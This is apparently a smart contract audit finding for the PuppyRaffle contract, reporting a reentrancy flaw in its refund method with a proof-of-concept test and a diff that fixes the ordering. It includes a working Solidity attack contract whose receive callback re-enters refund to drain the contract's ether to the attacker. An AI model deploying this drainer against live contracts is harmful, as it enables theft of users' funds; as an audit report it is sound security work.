Missing Check-Effects-Interactions patter in the refund method makes it vulnerable to a reentrancy attack
In the PuppyRaffle::refund method, we send the ether before removing the transaction author from the PuppyRaffle::players array. This particular order of things makes this method vulnerable to a reentrancy attack.
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import { PuppyRaffle } from "./PuppyRaffle.sol";
contract PuppyRaffleHackRe {
PuppyRaffle private raffle;
uint private playersSize;
uint private entranceFee;
uint private playerIndex;
address private owner;
constructor(PuppyRaffle _raffle, uint _entranceFee) {
raffle = _raffle;
entranceFee = _entranceFee;
owner = msg.sender;
}
function attack() external payable {
address[] memory players = new address[](1);
players[0] = address(this);
raffle.enterRaffle{ value: entranceFee }(players);
playerIndex = raffle.getActivePlayerIndex(address(this));
raffle.refund(playerIndex);
}
receive() external payable {
if (address(raffle).balance >= entranceFee) {
raffle.refund(playerIndex);
}
owner.call{ value: address(this).balance }("");
}
}
```
```solidity
function testStealFunds() public playersEntered {
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
PuppyRaffleHackRe raffleHack = new PuppyRaffleHackRe(
puppyRaffle,
entranceFee
);
uint raffleBalanceBefore = address(puppyRaffle).balance;
raffleHack.attack{ value: entranceFee * 50 }();
assertLt(address(puppyRaffle).balance, entranceFee);
}
```
In the terminal, run forge test --mt testStealFunds -vvv
A complete theft of all the funds in the contract with the exception of any amount that's left that's less than PuppyRaffle::entranceFee
Manual review
```diff
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
- payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
+ payable(msg.sender).sendValue(entranceFee);
}
```
reentrancy in refund() function
The contest is live. Earn rewards by submitting a finding.
This is your time to appeal against judgements on your submissions.
Appeals are being carefully reviewed by our judges.